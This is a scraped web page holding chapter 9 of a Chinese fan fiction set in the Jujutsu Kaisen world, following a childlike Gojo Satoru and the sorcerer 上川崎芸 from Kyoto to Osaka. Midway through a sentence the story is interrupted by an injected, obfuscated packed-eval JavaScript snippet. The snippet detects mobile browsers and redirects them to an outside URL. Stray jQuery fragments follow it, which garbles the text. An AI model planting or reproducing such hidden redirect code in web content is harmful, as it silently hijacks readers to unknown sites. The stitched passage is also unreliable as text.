默认冷灰
24号文字
方正启体

9. 第 9 章

作者:来日Lai本书字数:K更新时间:
    09


    现在去哪里?


    上川崎芸一时也没有主意,轿车像颗弹丸一样飞驰在公路上,车内供暖被他打开,温热的暖风烘在湿漉漉的两个人身上。


    最终他报了个地名。


    任由咒怨灵百无聊赖的拨弄自己半干半湿的头发,五条悟将衣领理了理,没对要去的地方作意见,气息懒散倚靠座椅,像是并不太在意自己会去往何方。


    公路路灯不断被疾驰的轿车甩在身后,穿越满地残垣断壁的废弃城市,驶过灯火寥少的街町,直到暴雨逐渐停下,雷鸣不再喧嚣,多日未见的点点繁星在夜空之上闪烁。


    ——


    忙碌整晚的家入硝子凌晨时分接到通电话,看到屏幕上联系人名称,她停下指导医护人员的动作,冲人摆摆手,然后走到一旁安静些的角落。


    她手探向口袋,神色淡淡地说:“不辞而别还不接电话的风格可不太像你,伊地知他们都以为你死在里头了。”


    那头有声细微地‘咔嚓’,像是火机点燃烧着什么,随后男人有些沙哑的声音响起。


    上川崎芸咬着烟,语气里没什么情绪。


    “手机进水关机才打开,我到京都来了。”


    在口袋里摸索着拿出烟盒捏在手里,眼下有两道浅青的家入硝子“嗯”了句,没有追问对方花大半夜的时间跑去那地方做什么。


    昨天「噬群界」以一种所有人都没料到的速度消散,覆盖范围内难得不是尸横遍野,她现在周遭环境虽然喧杂,但也是伤员占多数,而非过去结界散去后那样的死气溢满哀鸿遍地。


    “昨天晚上那里头发生的事情和你有关?”她问,“现场的咒力很乱,但主要受毁地却没有任何残秽,怎么回事?”


    上川崎芸似乎在处山林中,能隐约听到风席卷树梢发出的呼啸,“当然不是,我哪有这么大能耐。”


    他徐徐吐出一个烟圈,墨绿色的眼睛盯着烟雾须臾之间散开在空气中,一弹指顷后,赶在对方之前再次开口。


    “打开结界的人是五条悟,我现在跟他待在一块,过两天再回去。”


    女人打开烟盒的动作一顿。


    周围的警笛,哭泣,广播里不断播报的男音,一时间都被潮水闷住般离耳边远去。她闻着空气里不散的血腥味,开口后依旧是贯来冷静的声音。


    “如果你是去五条家抢遗物被五条次敷打坏掉了脑袋,来高专我会免费给你治疗。”


    “哎我可是认真的。”


    “我也是认真的,”家入硝子语气平静而笃定,“他们编排的话旁人都当警告听,但你能做出来的事,比那些说得要有病的多。”


    她还要再说什么,听到另一端男人低笑起来。有脚步声由远及近,明明隔着手机所有的信息来源只有一排扬声孔,但那步伐却仍旧格外明显,平稳而轻快。


    “行了我知道你肯定不会那么轻易相信我,”上川崎芸说,“手机没电要关机了,我这有两个人的姓名和这次事有点联系,回头你让伊地知帮忙找找。”


    来的路上不少干道因为天灾人祸毁坏,只得绕过一程远路,奔波整夜的轿车最终天光破晓时分抛锚在路边。


    附近曾经是有名的观光点,上川崎芸看了眼快见底的油箱,拎起外套拿着被烘干的钱包跟手机,索性喊五条悟下来一块走段路,看能不能在周边居民区找到送客的出租车。


    天明将至,林间雾气朦朦,怀中抱着黑猫,白发孩童穿过重重栉比的漆红鸟居,一步步从盘旋的台阶上走下来。


    在他下来前,上川崎芸就已经碾灭掉燃烧一半的烟,将烟蒂丢进路边的破旧垃圾桶里。雨过尚未晴空,阴沉沉的黑云仍旧桎梏着朝晖,潮湿清冷的空气与冷风纠缠不清。


    过去曾有次新年,厌倦了祖宅那些繁复亢长的讲究,夜里五条悟偷跑出来,穿着华贵精致的三纹付羽织,只身一人漫无目地行走在这些排叠建筑之中。


    经过故地,人重游的心思又起,让上川崎芸在底下等他,抬腿就往里走,男人什么都没说,只是点点头,眼神始终跟着怀抱黑猫的孩童的身影。


    空气中残存着烤烟气味,昨天白日里还决定要戒烟的上川崎芸后知后觉反应过来,往口袋里塞火机的动作涩止一下,或许是空气太过湿冷,呼吸进肺叶里都变得沉甸甸的。


    他干等了一会,和树梢上的鸟雀互相干瞪眼,抽完一支烟又摸着第二支,手指触碰到口袋里手机的一角,才想起来给人打电话。


    随着最后一点电量消失,手机彻底关机。


    看着人的身影重新出现在视野里,男人肩膀微不可察地下垂些。


    晃了下已经黑屏的手机,他冲人点点头。


    “你说的那两个人已经拜托硝子让伊地知去找了,明天回去应该会有结果。”


    五条悟应了一声道了句谢,他脸上神色有些怪异,像是过去高专看电影时发现后续剧情像脱缰野马一般。


    “怎么样,出什么问题了吗?”上川崎芸拍了拍身上的烟灰问道。


    白发孩童摇摇头,“没什么大事,就是在那里边看到我名字了。”


    有两根鸟居明显比其它的要新些,柱身上镌刻着他的姓名。


    “哦,你是说这个啊,”他脸上露出了然的表情,“那两根鸟居是新宿之前捐的……你也知道的,这东西也只是种寄托点意思的形式而已。”


    五条悟罕见地没有对这件事发表什么态度,低头揉了揉黑猫毛发蓬软的脑袋,咒灵直起上半身用鼻尖碰了碰孩童额头。


    附近是山林,还得再往前走,他同男人并肩而行在这条寂静的小道上,偶尔能听到几声鸟鸣在林中响起。


    他不发起话题,向来言语不算多的上川崎芸也没吭声,走了十几分钟才到一处还算安宁的居民区,这个点街道上商铺已经陆陆续续开门,一些路边的小食摊也正在往台面上摆东西。


    黑发咒术师找了辆停靠街边的营业车,和司机交谈完地点后他扭头看到五条悟慢悠悠地晃回来,手腕上还挎着便利店的塑料袋,半透明包装袋里面是些面包和矿泉水之类的东西,以及几袋糖果。


    想到他们现在身处的地点,上川崎芸沉吟片刻,最终还是询问对方。


    “需要回去看看吗?”


    问的自然是回五条家,新宿战以后御三家光景萧条,古朴宅院依旧永远伫立在原地,那些高大的建筑还带着过去的气息,像是被动荡的时代所遗忘一样。


    想到现任新家主那张脸,上川崎芸条件反射地起蹙眉,见五条悟摇摇头,他果断不再多提。


    ——


    下午4点,大阪,道顿堀街头——


    作为国内少有没被灾祸波及太多的城市,咒术监督部分局也被设置在这边,治安非常严格。街头景象和过去也并没有太大变化,行人交织,车水马龙。


    操着关西腔的司机笑容满面拿出POS机,等上川崎芸刷完卡后连声道谢,摇上车窗慢慢驶入进来往的车流中。


    主干道前段时间因为几个咒灵的狂欢里给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318887|199015||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摧毁,现在还封路抢修着,走市町村道被迫坐几小时摇摇车的五条悟倚靠着电线杆,用掌心按揉眉眼,在黑发男人转身前又自然而然地放下手。


    上川崎芸收起银行卡,把制服搭在臂弯里,看了眼挂着孩童肩头上的黑猫,“先找个酒店休息一下,等我处理完手头上的事再来接你,你看怎么样?”


    五条悟重新把猫揣进怀中,摇摇头道:“不用了,你是要去监督分局拿资料对吧,我跟你一块过去看看。”


    他本意只是想去看一眼分局发展的怎么样,但对方不知道想了什么,给理解错了意思。


    “那就先不去了,这边只是些分散资料,让他们自己邮过来也行,很多主要的档案都在新总监部,”上川崎芸边走过来边说。


    “想看的话回去以后直接去总监部,我帮你都找出来。”


    “那些档案又不是什么随随便便发给学生的考试卷,你这样是会被批评的哦,”五条悟悠悠提醒着。


    “没关系,我从来不听他们啰里啰嗦的讲话。”


    到现在上川崎芸去参加会议的次数都屈指可数,外人面前他的脾气一直都很暴躁,新总监部的工作人员大多极度惧怕着他,以及他每天放任在天花板上爬动的咒灵女孩。


    听着对方无所谓的语气,孩童一时有些哑然失笑。


    “行,那就麻烦你了。”


    “这可不是什么麻烦事,”上川崎芸把袖口挽起,看了眼手表,目光再次扫过温顺卧在五条悟怀里的黑猫。


    察觉到他的视线,咒怨灵掀了掀眼懒散瞥过男人。


    “如果我没猜错,你要带着去吃蟹肉料理的人,是他对吧,”上川崎芸指了指黑猫,脸上露出在他们重逢后的第一个笑容,语气像是在怀念着什么,“走吧,我请客。”


    “去以前悟经常带我去的那家怎么样?”


    高专时期五条悟经常会在假期时候带上川崎芸来大阪。


    或许是不愿意麻烦少年,也或许是复杂潮湿的过去,性格沉默的小豆丁没什么兴趣爱好。不打掌机游戏也不怎么看动画,总是毫无存在感安安静静待在角落里。


    被问到小孩子都喜欢些什么时,灰原雄挠挠后脑勺说美食吧。


    “如果对游戏和动画片都不感兴趣的话,可以试试多吃些美食吧,反正我在尝到好吃的食物时会很快乐,”学弟不好意思的笑着。


    “况且小孩子也在长身体,多吃才能长高呢。”


    五条悟显然也认同这个想法,尤其是在看到小孩吃寿喜锅时明显亮了些的眼睛,打那以后他就时不时带人去各种餐饮场所。


    道顿堀川这边的料理店在那几年被尝了个遍,也不乏有藏匿在小巷里让人眼前一亮的店铺,记忆力优良的五条悟连门店道路都还记着。


    他抱着黑猫走在前面,几撮翘起的霜发被风吹得晃晃荡荡,上川崎芸默默跟在后面,看着对方肩脊笔直利落的背影出神。


    十来年前白发咒术师也是这样,总会走在他前面,要是一块同行的人多了,又会出现在所有人最前方。


    很多缠络又说不清的东西在变化,又好像没有变化,记忆把时间切割成光怪陆离的碎片,他站在其中总能感到难言的不真实。


    白发孩童掀起枣红色的暖帘,黑猫跳下来蹲在门口,里面柔和灯光从那一角中倾泻出来。


    他扭头看向不知在想些什么而发呆的男人,大半张脸被映得透亮,眼底光华伏跃在一片蔚蓝天空中。


    “崎芸,到了哦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)